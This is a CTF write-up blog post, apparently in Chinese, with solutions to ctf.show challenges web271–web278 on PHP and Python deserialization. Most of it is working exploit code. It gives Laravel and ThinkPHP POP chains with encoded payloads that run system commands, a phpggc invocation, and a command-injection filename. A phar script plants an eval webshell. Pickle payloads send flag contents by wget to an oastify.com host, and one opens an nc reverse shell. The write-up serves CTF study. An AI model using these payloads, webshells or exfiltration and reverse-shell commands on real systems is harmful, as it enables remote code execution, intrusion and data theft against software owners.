    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('tac /f*'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

Paylod:

POST:
data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22tac+%2Ff%2A%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

web272

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

上一题POC打不通了,换一个POC打

<?php
namespace Illuminate\Broadcasting{
    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection="cat /flag";
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver="system";
 
    }
}
namespace{
 
    use Illuminate\Broadcasting\PendingBroadcast;
 
    echo urlencode(serialize(new PendingBroadcast()));
}

Payload:

POST:
data=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D

web273

上题payload照打

也可以用phpggc生成payload

./phpggc Laravel/RCE6 "system('nl /*');" --url 

Payload:

POST:
data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A31%3A%22%3C%3Fphp%20system%28%27nl%20%2F%2A%27%29%3B%20exit%3B%20%3F%3E%22%3B%7D%7D%7D%7D

web274

进去就是ThinkPHP V5.1

注释有东西:<!-- @unserialize(base64_decode(\$_GET['data']))-->

同样存在反序列化的洞

POC:

<?php
namespace think;
 
abstract class Model{
    protected $append = [];
    private $data = [];
    public function __construct()
    {
        $this->append = ["li"=>[]];
        $this->data = ["li"=>new Request()];
    }
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}
namespace think\model;
use think\model;
class Pivot extends Model{
 
}
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $config;
    protected $param = [];
    public function __construct()
    {
        $this->hook = ["visible"=>[$this,"isAjax"]];
        $this->filter = 'system';
        $this->config = ["var_ajax"=>''];
        $this->param = ['cat /f*'];
    }
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

Payload:

GET:
?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJsaSI7YTowOnt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6MjoibGkiO086MTM6InRoaW5rXFJlcXVlc3QiOjQ6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6NztpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fXM6ODoiACoAcGFyYW0iO2E6MTp7aTowO3M6NzoiY2F0IC9mKiI7fX19fX19

web275

<?php
highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

下面if那一坨有点不太好理解,但filter类里的function还是很好理解的,目的是控制这个system函数来进行rce,注意到system函数是魔术方法__destruct触发的,也就是销毁触发,不需要额外条件,但是system前有个if语句,需要evilfile为真(true),前面的函数可得知为真的条件是传入的数据带php或者flag

这里system会默认执行一个rm,直接用分号隔开,后接想要的语句即可

Payload:

GET:
?fn=php;tac f*;

web276

<?php
highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

where is flag?

这道题相比上一题增加了 $admin 限制,并且没有unserialize的入口存在,但这里存在file_put_contents这种文件操作的函数,可以考虑phar反序列化的方法

该方法在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

利用条件:

  1. phar文件能够上传至服务器
  2. 要有可利用的魔术方法
  3. 文件操作函数的参数可控,且:、/phar等特殊字符没有被过滤

phar文件生成脚本:

<?php
class filter{
    public $filename = "a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php";
    public $filecontent;
    public $evilfile = true;
    public $admin = true;
}

@unlink("payload.phar");
$phar = new Phar("payload.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算
$phar->stopBuffering();
echo "done.";

这里要用到条件竞争,因为会被删

import requests

url = "http://47d97f90-cd8a-4bdc-88e8-fb841bccc894.challenge.ctf.show/"

target = "/var/www/html/d.phar"

with open("payload.phar", "rb") as f:
    payload = f.read()
_ = requests.post(f"{url}/?fn={target}", data=payload)
target = "phar://d.phar/test"
_ = requests.post(f"{url}/?fn={target}")

成功写马,连接shell.php即可

web277

注释给出:

/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m)

提到pickle,想必是pickle反序列化了

直接上脚本

import os
import pickle
import base64


class RCE(object):
    def __reduce__(self):
        return (os.popen, ('wget qvp9zxsqtajx866u80ufm5d86zcq0go5.oastify.com?a=`tac /f*`',))
# 注意这里没有os.system模块
# 这里用的是bp的collaborator带外
print(base64.b64encode(pickle.dumps(RCE())))

Payload:

GET:
url/backdoor?data=gASVVAAAAAAAAACMAm9zlIwFcG9wZW6Uk5SMPXdnZXQgcXZwOXp4c3F0YWp4ODY2dTgwdWZtNWQ4NnpjcTBnbzUub2FzdGlmeS5jb20/YT1gdGFjIC9mKmCUhZRSlC4=

web278

hint:过滤了os.system

没啥用,本来就不用这个模块

继续用上面的exp打,可以考虑反弹shell

import os
import pickle
import base64


class RCE(object):
    def __reduce__(self):
        return (eval,("__import__('os').popen('nc ip port -e /bin/sh').read()",))
print(base64.b64encode(pickle.dumps(RCE())))
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇